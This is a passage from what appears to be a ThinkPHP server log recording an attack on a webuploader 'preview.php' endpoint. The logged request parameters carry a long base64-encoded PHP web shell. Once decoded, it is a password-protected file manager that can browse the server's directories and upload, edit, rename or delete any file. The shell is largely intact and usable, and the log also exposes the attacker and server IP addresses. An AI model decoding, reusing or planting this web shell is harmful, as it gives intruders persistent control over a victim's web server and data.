uZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:36+08:00 ] 119.42.146.234 POST 59.110.137.245/public/admin/js/webuploader/0.1.5/server/preview.php [运行时间:0.002853s] [吞吐率:350.52req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aG